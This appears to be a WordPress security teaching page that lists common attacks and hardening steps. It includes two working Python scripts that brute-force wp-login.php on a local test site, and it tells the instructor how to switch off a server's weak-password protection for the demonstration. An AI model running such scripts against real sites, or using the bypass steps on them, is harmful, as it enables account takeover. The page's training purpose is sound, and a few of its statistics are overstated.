WordPress Web Security Optimization

How Hackers Attack WordPress (Explained Theoretically)

Attackers commonly use:

1. Brute Force Attacks

  • Automated password guessing
  • Exploit weak login credentials

2. Upload-based attacks

  • Vulnerable plugins allow file uploads
  • Attackers upload PHP shell → full takeover

3. SQL Injection

  • Rare in modern WP core
  • But many custom plugins/themes accidentally allow it

4. Cross-Site Scripting (XSS)

  • Inject JS into comments/forms
  • Steal admin cookies
  • Hijack admin session

5. Unsecured REST API

  • Exposes usernames
  • Attackers enumerate authors
  • Then try login brute force

6. Outdated plugin vulnerabilities

99% of WP hacks come from:

  • Old plugins
  • Null themes
  • Abandoned plugins

7. XML-RPC Abuse

Used for:

  • Brute force
  • DDoS
  • Pingback attacks

After Demonstration: How to Secure the Website

  1. Disable file editor
  2. Disable XML-RPC
  3. Install firewall plugin
  4. Add security headers
  5. Use strong passwords
  6. Limit login attempts
  7. Keep everything updated
  8. Remove unused themes & plugins
  9. Block author enumeration
  10. Restrict file upload types

Login Brute-Force Attacks

In real life, attackers use:

  • botnets
  • automated scripts
  • credential dictionaries
  • leaked password databases

Browser-based Brute Force (Manual)

(This is good for explaining the concept)

  1. Open wp-login.php
  2. Try wrong passwords repeatedly
  3. Show how WordPress does NOT block you by default
  4. Show that login attempts are unlimited
  5. Show no CAPTCHA, no throttling, no lockouts

Use a Simple Python Script on Windows

This is the BEST realistic demo without hacking tools.

Requirements

  • Python installed
  • Your own WordPress site (localhost or test domain)

Ethical note

This script ONLY targets your own site. Never use it outside controlled training.

Python Brute Force Demo Script

Create a file: bruteforce_demo.py

import requests

url = "http://localhost/wp-login.php"   # change to your URL
username = "admin"

password_list = [
    "123456",
    "password",
    "admin",
    "admin123",
    "letmein",
    "qwerty"
]

session = requests.Session()

for password in password_list:
    print(f"Trying password: {password}")

    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": "http://localhost/wp-admin/",
        "testcookie": "1"
    }

    response = session.post(url, data=data)

    if "dashboard" in response.text.lower():
        print(f"\nSUCCESS! Password found: {password}")
        break
else:
    print("\nPassword NOT found in list.")

You’re seeing this message because your hosting provider’s server (cPanel/CloudLinux with Imunify360) is blocking weak-password logins before WordPress even receives the request.

because:

  • Imunify360 intercepts all login attempts
  • It checks the password against the hacker dictionary
  • If password is weak → it blocks the request before WordPress processes it
  • WordPress never sees the login request → your Python script also fails

This is a server-level protection, not a WordPress feature.

If you have cPanel with Imunify360, disable this feature:

Steps:

  1. Login to cPanel
  2. Scroll to Imunify360
  3. Open Settings
  4. Go to Users or Malware → Proactive Defense
  5. Find this option:
    “Weak Password Protection”
  6. Turn it OFF

Now:

  • WordPress will receive the login request
  • Weak logins will be allowed
  • Your brute-force script WILL work

⚠️ After the lecture, TURN IT BACK ON.

Use a Strong Admin Password but Attack a Fake User

Imunify360 only blocks “weak” passwords.
So you can bypass it like this:

Step 1 — Create a user:

  • Username: testuser
  • Password: myStrongPassword@2025
    (so Imunify360 won’t block it)

Step 2 — Attack this strong password user with brute-force

But the brute-force will take longer unless you use a short password list.

For demo:
Use a dictionary where the correct password is present in the last few lines

wp_bruteforce_safe_demo.py

import requests
import time

# ======================
# CONFIGURATION
# ======================
WP_LOGIN_URL = "http://localhost/wp-login.php" # Change to your URL
USERNAME = "testuser" # Your test username

# IMPORTANT:
# Put the actual strong password as the LAST item in this list
PASSWORD_LIST = [
"Password1",
"Qwerty@123",
"LetmeIn2023",
"Admin@2024",
"MyTestPass@2025",
"FindXAcademy@2025!", # <-- correct password placed last for demo
]

# ======================
# START ATTACK (safe)
# ======================
session = requests.Session()

headers = {
"User-Agent": "Mozilla/5.0 (Demo Script)"
}

print(f"[*] Starting brute-force test on: {WP_LOGIN_URL}")
print(f"[*] Target username: {USERNAME}")
print(f"[*] Total passwords to try: {len(PASSWORD_LIST)}\n")

for password in PASSWORD_LIST:
print(f"[+] Trying password: {password}")

data = {
"log": USERNAME,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "http://localhost/wp-admin/",
"testcookie": "1"
}

response = session.post(WP_LOGIN_URL, data=data, headers=headers, allow_redirects=True)

# Detect login success through redirect or dashboard keyword
if "wp-admin/profile.php" in response.url or "Dashboard" in response.text:
print("\n=====================================")
print("🎉 SUCCESSFUL LOGIN FOUND!")
print(f"Username: {USERNAME}")
print(f"Password: {password}")
print("=====================================\n")
break

# Avoid triggering rate limits
time.sleep(1)

else:
print("\n[-] No password matched from the list.")

Result Should be Like

How to Prevent Brute-Force Attacks in WordPress

1. Use Strong Passwords (Most Important Defense)

Weak passwords like admin123 or password are instantly defeated.

Strong passwords defeat brute-force attacks because:

  • Attack complexity → exponential
  • Attack time → becomes unrealistic
  • Wordlists → do not contain your custom structure

2. Enable Two-Factor Authentication (2FA)

Even if a brute-force attack succeeds, login will still require:

  • OTP
  • Authenticator app code
  • Email code
  • SMS code

Recommended tools:

  • Wordfence Login Security
  • Google Authenticator plugin
  • Jetpack Protect

2FA blocks 100% of brute-force attacks.

3. Limit Login Attempts (Rate Limiting)

WordPress by default allows infinite attempts, which makes brute-force possible.

Use any of these plugins:

  • Limit Login Attempts Reloaded
  • Wordfence
  • WP Cerber
  • iThemes Security

Typical settings:

  • Max attempts: 3
  • Lockout time: 30 minutes
  • IP block duration: 24 hours
  • Optional: permanent block after 5 lockouts

This makes brute-force attacks too slow to succeed.

4. Hide / Rename the wp-login.php Page

Bots target:

/wp-login.php
/wp-admin/

If you change login URL:

  • Bots cannot find your login screen
  • Attack volume drops by 99%

Tools:

  • WPS Hide Login
  • iThemes Security “Hide Backend”
  • All-In-One WP Security

Examples:

yourwebsite.com/go-admin/
yourwebsite.com/findx-login

5. Block Username Enumeration

Attackers gather valid usernames first, then brute-force the passwords.

https://yourwebsite.com/?author=1
https://yourwebsite.com/wp-json/wp/v2/users

Disable methods:

  • REST API /wp-json/wp/v2/users
  • /?author=1 query
  • XML-RPC
Option 01 – Temporary plugin for demo

Install plugin:

  • Disable REST API
  • WP Hardening
  • iThemes Security

Turn OFF:

  • “Expose Users Endpoint”
  • “Author Archives”

Option 02 – Add this code to functions.php (safe):

add_filter('rest_endpoints', function($endpoints){
    if (isset($endpoints['/wp/v2/users'])) {
        unset($endpoints['/wp/v2/users']);
    }
    return $endpoints;
});

6. Disable XML-RPC (a common brute-force vector)

XML-RPC allows 1000+ password attempts in one request, making brute-force fast.

https://yourwebsite.com/xmlrpc.php

Why is XML-RPC dangerous?

XML-RPC allows multi-call authentication, meaning:

An attacker can send 1000+ password guesses in ONE SINGLE request.

This is far faster than brute-forcing wp-login.php.

Show XML-RPC enabled

Open browser:

https://yourwebsite.com/xmlrpc.php

The server responds:

XML-RPC server accepts POST requests only.

Explain:

  • This means XML-RPC is active
  • Hackers can target it

Disable using:

Disable XML-RPC

Show in live site:

Option 1 — Plugin

Install:

  • Disable XML-RPC
  • WP Hardening
  • Wordfence

Toggle:
✔ Disable XML-RPC fully

Option 2 — .htaccess block

Show students this line:

&lt;Files xmlrpc.php>
Order deny,allow
Deny from all
&lt;/Files>

Refresh browser:

yourwebsite.com/xmlrpc.php

Now it should show:

  • 403 Forbidden
  • or 404 Not Found

7. Use a Web Application Firewall (WAF)

A WAF protects you even before the request reaches WordPress.

Top options:

  • Cloudflare WAF (free/paid)
  • Imunify360 (server-level)
  • Wordfence Firewall

Benefits:

  • IP reputation blocking
  • Bot detection
  • Rate-limiting
  • Country blocking
  • SQL/XSS protection

WAF blocks mass automated brute-force globally.

8. Set Up Captcha / reCAPTCHA

Bots struggle to solve CAPTCHA.
Plugins:

  • Google reCAPTCHA
  • Wordfence 2FA + CAPTCHA
  • Limit Login Attempts + CAPTCHA

Which Methods Are the MOST Powerful? (Top 5)

  1. Strong password
  2. 2FA
  3. Limit login attempts
  4. Block username enumeration
  5. Disable XML-RPC

These alone stop 99% of brute-force attacks.

Summary of Preventing Brute-force Attacks

Preventing Brute-force Attacks

  • Use strong passwords
  • Enable 2FA
  • Limit login attempts (rate limiting)
  • Change login URL (/wp-login.php)
  • Disable XML-RPC
  • Block username enumeration
  • Use Cloudflare/Wordfence firewall
  • Add CAPTCHA
  • Monitor failed logins

What Is an Upload-Based Attack

Attackers try to upload malicious files through:

  • Media uploader
  • File upload forms
  • Custom plugin upload fields
  • Contact form attachments
  • Theme/plugin upload features
  • Import/export functionality

The goal is to upload:

  • PHP backdoor shell
  • Malware
  • Webshell (.php)
  • Reverse shell script
  • Obfuscated PHP code inside images (polyglot)
  • JavaScript malware
  • ZIP archives containing .php

Once uploaded, they can:

✔ Execute code
✔ Take over the website
✔ Add admin users
✔ Modify files
✔ Steal data
✔ Deface the site

How to Prevent Upload-Based Attacks (ALL METHODS)

Disable PHP execution in Uploads folder

Create a file:

wp-content/uploads/.htaccess

&lt;Files *.php>
    deny from all
&lt;/Files>

This prevents any PHP file inside uploads from running.

Even if an attacker uploads evil.php, it becomes harmless.

💡 This is the strongest defense.

Leave a Reply

Your email address will not be published. Required fields are marked *